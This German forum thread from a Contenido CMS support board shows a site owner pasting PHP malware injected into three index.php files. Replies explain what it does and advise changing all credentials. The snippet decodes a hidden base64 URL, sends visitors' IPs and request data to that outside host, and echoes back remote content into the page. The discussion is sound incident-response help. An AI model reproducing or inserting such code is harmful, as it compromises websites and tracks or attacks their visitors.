VIRUS - JS:Blacole-CY [Expl] - in Contenido 4.8.15

[Calimero]

Hallo liebe Community,

vor ein paar Tagen informierte mich mein Provider über einen Virus im Contenido System.

Folgende Dateien wären betroffen:
cms/index.php
contenido/index.php
conlib/index.php

Die Dateien weisen alle die gleichen Veränderungen auf:

Code: Alles auswählen

<?php
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2Jyb3dzZXJnbG9iYWxzdGF0LmNvbS9zdGF0RC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            @$stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($stCurlHandle, CURLOPT_TIMEOUT, 6);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}
?>

Mein erster Ansatz ist, dass ich die betroffenen Dateien durch die originalen ändere. FTP Kennwörter sind natürlich direkt geändert worden.

Hat jemand dieses Problem schon mal gehabt oder kann jemand erkennen, was dieses Script genau macht?

Viele Grüße
Calimero

[Spider IT]

Hallo Calimero,

wie es aussieht protokolliert dieser Code die Seitenaufrufe (IP, UserAgent, Domain und URL) auf der Seite http://browserglobalstat.com/statD/stat.php.

Gruß
René

[Calimero]

mmhh ok vielen dank für deine Antwort!

[timo.trautmann_4fb]

Hallo Calimero,
das ist natürlich sehr ärgerlich. Diese Art des Angriffs hatten wir bisher noch nicht. Auch gibt es eine große Zahl von Angriffspunkten über die Server gehackt werden können. Hast du aktuelle Log Files des Servers die einen Hinweis auf Art des Angriffs hinweisen könnten? Ich bitte dich diese Logs per PM zu senden und NICHT hier zu veröffentlichen. Vielleicht können wir dir dann weitere Hinweise geben, wie dies passieren konnte. Wünsche dir einen schönen Tag.

Gruß Timo

[Oldperl]

Hallo,

Mein erster Ansatz ist, dass ich die betroffenen Dateien durch die originalen ändere. FTP Kennwörter sind natürlich direkt geändert worden.

Ich persönlich würde alle Zugänge (Webspace/Userinterface, DB, BE- und FE-User), mit neuen Passwörtern sichern. Wer schon Dateien auf dem Server ändern konnte, könnte auch in allen anderen Bereichen (DB, etc.) gewesen sein. Auch sollte man versuchen das Einfallstor zu finden um es zu schließen. Das kann im Einzelfall aber sehr zeitaufwendig und damit kostenintensiv sein.

Diese Art des Angriffs hatten wir bisher noch nicht.

Das verändern von Dateien auf dem Webspace ist leider schon seit Jahren gängige Praxis. Wobei es sich in diesem Fall offensichtlich nicht um einen direkten Angriff auf das Web/Server handelt, sondern vielmehr um eine Art Logger, der das Besucherverhalten auf dem Web ausspähen soll.
Einfalltore dafür gibt es genug, angefangen von unsicheren Passwörtern des FTP-Zugangs, die man leicht per Bruteforce-Attacken oder ähnliches "knacken" kann, bis hin zu Trojanern auf dem PC, die Passwörter für FTP-Zugänge ausspähen und diese Daten dann nutzen um eigene Scripte und Anwendungen, ja sogar Shellzugänge, auf dem Web zu etablieren.

Leider wird Sicherheit in diesen Bereichen noch recht klein geschrieben. Bei meiner Beratung von Firmen und Institutionen ist mir aufgefallen, daß offensichtlich erst wenn man einem Angriff ausgesetzt ist/war und (Folge-)Kosten, das kann in die Tausende gehen, aufgetreten sind, das Bewußtsein für mehr Sicherheit, auch in der Prävention, wächst und dafür auch Gelder im jeweiligen Etat zur Verfügung gestellt werden.

Gruß aus Franken

Ortwin